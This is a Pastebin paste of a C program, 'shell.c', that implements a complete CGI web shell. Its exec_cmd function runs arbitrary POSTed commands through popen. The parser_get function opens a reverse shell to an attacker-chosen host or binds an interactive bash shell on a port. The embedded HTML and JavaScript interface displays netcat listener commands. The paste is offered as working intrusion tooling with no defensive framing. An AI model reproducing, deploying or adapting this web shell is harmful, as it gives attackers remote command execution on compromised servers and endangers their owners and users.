egy-mast3r

shell.c

Sep 8th, 2014
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 14.21 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <stdlib.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netinet/in.h>
  9. #include <arpa/inet.h>
  10. #include <netdb.h>
  11. #include <signal.h>
  12.  
  13. // C0d3r: MMxM [ hc0der.blogspot.com ]
  14.  
  15. struct get_data {
  16.     char key[100];
  17.     char value[100];
  18. };
  19.  
  20.  
  21. void exec_cmd(void){
  22.     printf("Content-type:text/html\n\n");
  23.     FILE *command;
  24.     int size = atoi(getenv("CONTENT_LENGTH"));
  25.     if(size > 1500) {
  26.         printf("Error> Post Data is very big");
  27.         exit(0);
  28.     }
  29.     char *buffer = malloc(size+1);
  30.     fread(buffer,1,size,stdin);
  31.     command = popen(buffer,"r");
  32.     char caracter;
  33.  
  34.     while((caracter = fgetc(command))){
  35.         if(caracter == EOF) break;
  36.         printf("%c",caracter);
  37.     }
  38.  
  39.     pclose(command);
  40.     free(buffer);
  41.     exit(0);
  42. }
  43.  
  44. int error(char *err){
  45.     perror(err);
  46.     exit(EXIT_FAILURE);
  47. }
  48.  
  49. void parser_get(void){
  50.     printf("Content-type:text/html\n\n");
  51.  
  52.     struct get_data *s;
  53.     char *GET = (char *)getenv("QUERY_STRING");
  54.     int i,number_of_get = 0,size_get = strlen(GET);
  55.  
  56.     if(strlen(GET) > 100)
  57.         exit(0);
  58.  
  59.     s = (struct get_data *)malloc(number_of_get*sizeof(struct get_data));
  60.  
  61.     int element = 0;
  62.     int positionA = 0;
  63.     int positionB = 0;
  64.     int id = 0;
  65.  
  66.     for(i=0;i<size_get;i++){
  67.         if(GET[i] == '='){
  68.             id = 1;
  69.             s[element].key[positionA] = '\0';
  70.             positionB = 0;
  71.             continue;
  72.         }
  73.  
  74.         if(GET[i] == '&'){
  75.             id = 0;
  76.             s[element].key[positionA] = '\0';
  77.             s[element].value[positionB] = '\0';
  78.             positionA = 0;
  79.             positionB = 0;
  80.             element++;
  81.             continue;
  82.         }
  83.  
  84.         if(id==0){
  85.             s[element].key[positionA] = GET[i];
  86.             positionA++;
  87.         }
  88.  
  89.         if(id==1){
  90.             s[element].value[positionB] = GET[i];
  91.             positionB++;
  92.         }
  93.  
  94.         if(i == size_get-1 && GET[size_get-1] != '&'){
  95.             s[element].key[positionA] = '\0';
  96.             s[element].value[positionB] = '\0';
  97.             element++;
  98.             continue;
  99.         }
  100.  
  101.  
  102.     }
  103.  
  104.     char *host_x = (char *)malloc(100);
  105.     host_x = NULL;
  106.     char *type_x = (char *)malloc(100);
  107.     type_x = NULL;
  108.     int port_x = 0;
  109.  
  110.     for(i=0;i<element;i++){
  111.         if(strcmp(s[i].key,"type")==0)
  112.             type_x = s[i].value;
  113.         else if(strcmp(s[i].key,"host")==0)
  114.             host_x = s[i].value;
  115.         else if(strcmp(s[i].key,"port")==0)
  116.             port_x = atoi(s[i].value);
  117.     }
  118.  
  119.     free(s);
  120.  
  121.     if(type_x == NULL){
  122.         free(type_x);
  123.         free(host_x);
  124.         exit(0);
  125.     }
  126.  
  127.     if( (strcmp(type_x,"")==0) || port_x <= 0 || port_x > 65535){
  128.         printf("Something is wrong ... !!!");
  129.         free(type_x);
  130.         free(host_x);
  131.         exit(0);
  132.     }
  133.  
  134.     if((strcmp(type_x,"reverse")==0) && (strcmp(host_x,"")==0)){
  135.         printf("You must specify a target host ...");
  136.         free(type_x);
  137.         free(host_x);
  138.         exit(0);
  139.     }
  140.  
  141.     if(strcmp(type_x,"reverse") == 0){
  142.         struct sockaddr_in addr;
  143.         int msocket;
  144.         msocket = socket(AF_INET,SOCK_STREAM,0);
  145.  
  146.         if(msocket < 0){
  147.             printf("<font color='red'>Fail to create socket</font>");
  148.             free(host_x);
  149.             free(type_x);
  150.             exit(0);
  151.         }
  152.  
  153.         addr.sin_family = AF_INET;
  154.         addr.sin_port = htons(port_x);
  155.         addr.sin_addr.s_addr = inet_addr(host_x);
  156.  
  157.         memset(&addr.sin_zero,0,sizeof(addr.sin_zero));
  158.  
  159.         if(connect(msocket,(struct sockaddr*)&addr,sizeof(addr)) == -1){
  160.             printf("<font color='red'>Fail to connect</font>\n");
  161.             free(host_x);
  162.             free(type_x);
  163.             exit(0);
  164.         }
  165.  
  166.         printf("<font color='006600'>Connect with sucess !!!</font>\n");
  167.  
  168.         if(fork() == 0){
  169.             close(0); close(1); close(2);
  170.             dup2(msocket, 0); dup2(msocket, 1); dup2(msocket,2);
  171.             execl("/bin/bash","bash","-i", (char *)0);
  172.             close(msocket);
  173.             exit(0);
  174.         }
  175.  
  176.         free(host_x);
  177.         free(type_x);
  178.         exit(0);
  179.     } else if (strcmp(type_x,"bind")==0) {
  180.  
  181.         int my_socket, cli_socket;
  182.         struct sockaddr_in server_addr,cli_addr;
  183.  
  184.         if ((my_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  185.             printf("<font color='red'>Fail to create socket</font>");
  186.             exit(1);
  187.         }
  188.  
  189.         server_addr.sin_family = AF_INET;
  190.         server_addr.sin_port = htons(port_x);
  191.         server_addr.sin_addr.s_addr = INADDR_ANY;
  192.         bzero(&(server_addr.sin_zero), 8);
  193.  
  194.         int optval = 1;
  195.         setsockopt(my_socket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof optval);
  196.  
  197.  
  198.         if (bind(my_socket, (struct sockaddr *)&server_addr, sizeof(struct sockaddr))== -1){
  199.             printf("<font color='red'>Fail to bind</font>");
  200.             free(host_x);
  201.             free(type_x);
  202.             exit(1);
  203.         }
  204.  
  205.         if (listen(my_socket, 1) < 0){
  206.             printf("<font color='red'>Fail to listen</font>");
  207.             free(host_x);
  208.             free(type_x);
  209.             exit(1);
  210.         } else {
  211.             printf("<font color='006600'>Listen on port %d</font>\n",port_x);
  212.         }
  213.  
  214.         if(fork() == 0){
  215.             socklen_t tamanho = sizeof(struct sockaddr_in);
  216.  
  217.             if ((cli_socket = accept(my_socket, (struct sockaddr *)&cli_addr,&tamanho)) < 0){
  218.                 exit(0);
  219.  
  220.             }
  221.  
  222.             close(0); close(1); close(2);
  223.             dup2(cli_socket, 0); dup2(cli_socket, 1); dup2(cli_socket,2);
  224.  
  225.             execl("/bin/bash","bash","-i",(char *)0);
  226.             close(cli_socket);
  227.  
  228.         }
  229.  
  230.     }
  231.     free(host_x);
  232.     free(type_x);
  233.     exit(0);
  234. }
  235.  
  236. void load_css_js(void){
  237. printf("<style type=\"text/css\">\n\
  238. #page-wrap {\n\
  239.    margin: 20px auto;\n\
  240.    width: 750px;\n\
  241. }\n\
  242. \n\
  243. h1 {\n\
  244.    font-family: Impact, Charcoal, sans-serif;\n\
  245.    text-shadow: -1px 0 black, 0 1px black,\n\
  246.     1px 0 black, 0 -1px black;\n\
  247.    color: gray;\n\
  248.    border: #00ff00;\n\
  249. }\n\
  250. \n\
  251. body {\n\
  252.    background-color: white;\n\
  253. }\n\
  254. \n\
  255. input[type=\"text\"] {\n\
  256.    margin-bottom: 10px;\n\
  257.    border: 1px solid gray;\n\
  258.    color: black;\n\
  259.    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
  260. }\n\
  261. \n\
  262. hr {\n\
  263.    color: gray;\n\
  264. }\n\
  265. \n\
  266. input[type=\"submit\"],input[type=\"button\"] {\n\
  267.    margin-bottom: 10px;\n\
  268.    border: 1px solid gray;\n\
  269.    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
  270. }\n\
  271. \n\
  272. #bind_reverse {\n\
  273.    display:none;\n\
  274. }\n\
  275. \n\
  276. label {\n\
  277.    position: relative;\n\
  278.    clear: left;\n\
  279.    float: left;\n\
  280.    width: 15em;\n\
  281.    margin-right: 5px;\n\
  282.    text-align: right;\n\
  283.    margin-top: 5px;\n\
  284. }\n\
  285. \n\
  286. \n\
  287. div.scroll {\n\
  288.    border: 1px solid gray;\n\
  289.    margin-bottom: 10px;\n\
  290.    color: black;\n\
  291.    font-family: Tahoma, sans-serif;\n\
  292.    padding: 5px;\n\
  293.    width: 745px;\n\
  294.    height: 295px;\n\
  295.    overflow: auto;\n\
  296.    box-shadow: 4px 4px 2px 2px rgba(50, 50, 50, 0.75);\n\
  297. }\n\
  298. \n\
  299. #cmd_rev {\n\
  300.    position: absolute;\n\
  301.    margin-left: 450px;\n\
  302.    top: 150px;\n\
  303.    width: 250px;\n\
  304.    overflow: auto;\n\
  305. }\n\
  306. \n\
  307. #cmd_bin {\n\
  308.    position: absolute;\n\
  309.    margin-left: 450px;\n\
  310.    top: 300px;\n\
  311.    width: 250px;\n\
  312.    overflow: auto;\n\
  313. }\n\
  314. \n\
  315. #rev_s {\n\
  316.    display:inline;\n\
  317. }\n\
  318. \n\
  319. #bind_s {\n\
  320.    display:inline;\n\
  321. }\n\
  322. </style>\n\
  323. \n\
  324. <script type=\"text/javascript\">\n\
  325. function exec_cmd(){\n\
  326.    var Rrequest = new XMLHttpRequest();\n\
  327.    var cmd_x = document.getElementById(\"xxx\");\n\
  328. \n\
  329.    var result = document.getElementById(\"result\");\n\
  330. \n\
  331.    if(cmd_x.value == '') return;\n\
  332.    if(cmd_x.value == 'clear' || cmd_x.value == 'reset') { result.innerHTML = ''; return; }\n\
  333.    var vv = cmd_x.value;\n\
  334. \n\
  335.    vv = vv.replace(/</g,\"&#60\");\n\
  336.    vv = vv.replace(/>/g,\"&#62\");\n\
  337. \n\
  338.    result.innerHTML += \"<pre><b>\\$</b> \"+vv+\"</pre>\";\n\
  339.    var bodyx = '';\n\
  340. \n\
  341.    Rrequest.open(\"POST\",window.location.href,true);\n\
  342.    Rrequest.setRequestHeader(\"Content-type\",\"text/plain\");\n\
  343.    Rrequest.send(cmd_x.value);\n\
  344. \n\
  345.    Rrequest.onreadystatechange = function(){\n\
  346.        if(Rrequest.status == 200){\n\
  347.            if(Rrequest.readyState==4 || Rrequest.readyState==\"complete\"){\n\
  348.                var complete_cont = Rrequest.responseText;\n\
  349.                complete_cont = complete_cont.replace(/</g,\"&#60\");\n\
  350.                complete_cont = complete_cont.replace(/>/g,\"&#62\");\n\
  351.                result.innerHTML += '<pre>'+complete_cont+'</pre>';\n\
  352.                result.scrollTop = result.scrollHeight;\n\
  353.            }\n\
  354.        } else {\n\
  355.            if(Rrequest.readyState==4 || Rrequest.readyState==\"complete\"){\n\
  356.                result.innerHTML += \"<pre><b>error !</b></pre>\";\n\
  357.                return false;\n\
  358.            }\n\
  359.        }\n\
  360.    }\n\
  361. }\n\
  362. \n\
  363. function load_bind(){\n\
  364.    var change_link = document.getElementById(\"change_link\");\n\
  365.    var linkz = change_link.innerHTML;\n\
  366. \n\
  367.    if(linkz == 'REVERSE/BIND') {\n\
  368.        change_link.innerHTML = \"COMMAND LINE\";\n\
  369.        document.getElementById(\"cmd_line\").style.display = 'none';\n\
  370.        document.getElementById(\"bind_reverse\").style.display = 'block';\n\
  371.    }\n\
  372.    \n\
  373.    else {\n\
  374.        document.getElementById(\"bind_reverse\").style.display = 'none';\n\
  375.        document.getElementById(\"cmd_line\").style.display = 'block';\n\
  376.        change_link.innerHTML = 'REVERSE/BIND';\n\
  377.    }\n\
  378. }\n\
  379. \n\
  380. function update_div(su,xxxd){\n\
  381.    var status = document.getElementById(xxxd);\n\
  382.    if(su.value == 0 || su.value == \"\"){\n\
  383.        status.innerHTML = \"\";\n\
  384.        return false;\n\
  385.    }\n\
  386.    if(xxxd == 'cmd_rev') {\n\
  387.        status.innerHTML = \"<pre>netcat -lvvp \"+su.value+\"</pre>\";\n\
  388.        return true;\n\
  389.    }\n");
  390.     printf("\tvar server_ip = '%s';\n",getenv("SERVER_ADDR"));
  391.     printf("\tstatus.innerHTML = \"<pre>netcat -v \"+server_ip+\" \"+su.value+\"</pre>\";\n\
  392.    return true;\n\
  393. }\n\
  394. \n\
  395. function change_div(ev,field){\n\
  396.    if(ev.keyCode == 8 || ev.keyCode == 37 ||\n\
  397.    ev.keyCode == 38 || ev.keyCode == 39 || \n\
  398.     ev.keycode == 40 || ev.keyCode == 46){\n\
  399.        return true;\n\
  400.    }\n\
  401. \n\
  402.    if(ev.charCode < 48 || ev.charCode > 57){\n\
  403.        return false;\n\
  404.    }\n\
  405.    \n\
  406.    if(field.value > 65535){\n\
  407.        return false;\n\
  408.    }\n\
  409.    return true;\n\
  410. }\n\
  411. \n\
  412. function connect_xxx(div_t){\n\
  413. \n\
  414.    var get_s = '';\n\
  415.    if(div_t == 'rev_s'){\n\
  416.        var host_rev = document.getElementById(\"host_rev\");\n\
  417.        var port_rev = document.getElementById(\"port_rev\");\n\
  418.        if(host_rev.value == '' || port_rev == '' ) return false;\n\
  419.        get_s = '/?type=reverse&host='+host_rev.value+'&port='+port_rev.value;\n\
  420.    } else if(div_t == 'bind_s'){\n\
  421.        var port_bind = document.getElementById(\"port_bin\");\n\
  422.        if(port_bin.value == '') return false;\n\
  423.        get_s = '/?type=bind&port='+port_bin.value;\n\
  424.    }\n\
  425. \n\
  426.    var target_div = document.getElementById(div_t);\n\
  427.    target_div.innerHTML = \"Wait ...\";\n\
  428. \n\
  429.    var connect_s = new XMLHttpRequest();\n\
  430.    connect_s.open(\"GET\",window.location.href+get_s,true);\n\
  431.    connect_s.timeout = 3000;\n\
  432.    connect_s.ontimeout = function(){\n\
  433.        target_div.innerHTML = \"<font color='006600'>Listen OK !!!</font>\"\n\
  434. }\n\
  435. \n\
  436.    connect_s.onreadystatechange = function(){\n\
  437.        if(connect_s.status == 200){\n\
  438.            if(connect_s.readyState==4 || connect_s.readyState==\"complete\"){\n\
  439.                target_div.innerHTML = connect_s.responseText;\n\
  440.            }\n\
  441.        } else {\n\
  442.            if(connect_s.readyState==4 || connect_s.readyState==\"complete\"){\n\
  443.                result.innerHTML += \"<b>error !</b>\";\n\
  444.                return false;\n\
  445.            }\n\
  446.        }\n\
  447.    }\n\
  448. \n\
  449. \n\
  450. \n\
  451.    connect_s.send();\n\
  452. \n\
  453. \n\
  454. }\n\
  455. </script>");
  456.  
  457. }
  458.  
  459. int main(void){
  460.     if(strcmp(getenv("REQUEST_METHOD"),"POST") == 0) exec_cmd();
  461.     if(strcmp(getenv("QUERY_STRING"),"") != 0) parser_get();
  462.     printf("Content-type:text/html\n\n");
  463.  
  464.     printf("<html>\n");
  465.     printf("\t<head>\n\t<meta http-equiv=\"Content-type\" content=\"text/html;charset=UTF-8\">\n");
  466.     printf("\t\t<title> C CGI SHELL =D </title>\n");
  467.     load_css_js();
  468.     printf("\n\t</head>\n");
  469.     printf("\t<body>\n");
  470. printf(" \
  471.    <div id=\"page-wrap\">\n\
  472.    <h1>C - CGI SHELL</h1><pre>C0der: <b>MMxM</b> | <a id='change_link' href='javascript:load_bind()'>REVERSE/BIND</a></pre>\n\
  473.    <div id='cmd_line'>\n\
  474.    <input type=\"text\" style=\"width:300px;\" id=\"xxx\" onkeyup=\"if(event.keyCode == 13) document.getElementById('lol').click()\">\n\
  475.    <input id=\"lol\" type=\"button\" value=\"Execute Command !!!\" onclick=\"exec_cmd()\">
  476. \n\
  477.    <div class=\"scroll\" id='result'></div>\n\
  478.    </div>\n\
  479.    <div id='bind_reverse'>\n\
  480.        <pre><b>Reverse Connection: <div id='rev_s'><font color='red'>Stop</font></div></b></pre>\n\
  481.        <pre><label>Host/IP:</label><input type=\"text\" id='host_rev'/></pre>\n\
  482.        <pre><label>Port:</label><input type=\"text\" id='port_rev' onkeypress='return change_div(event,this);' onKeyUp='update_div(this,\"cmd_rev\");' /></pre>\n\
  483.        <input type='button' value='Start Connection' style=\"margin-left: 15.5em;\" onclick=\"connect_xxx('rev_s')\"/>\n\
  484.        <div id='cmd_rev'></div>\n\
  485.        <hr>\n\
  486.        <pre><b>Bind Connection: <div id='bind_s'><font color='red'>Stop</font></div></b></pre>\n\
  487.        <pre><label>Port To Listen:</label><input type=\"text\" id='port_bin' style=\"width:50px\" onkeypress='return change_div(event,this);' onKeyUp='update_div(this,\"cmd_bin\");'></pre>\n\
  488.        <input type='button' value='Start Connection' style=\"margin-left: 15.5em;\" onclick=\"connect_xxx('bind_s')\"/>\n\
  489.        <div id='cmd_bin'></div>\n\
  490.    </div>\n\
  491.    </div>\n\
  492.    </body>\n\
  493. </html>\n\
  494. ");
  495.     return 0;
  496. }
Add Comment
Please, Sign In to add comment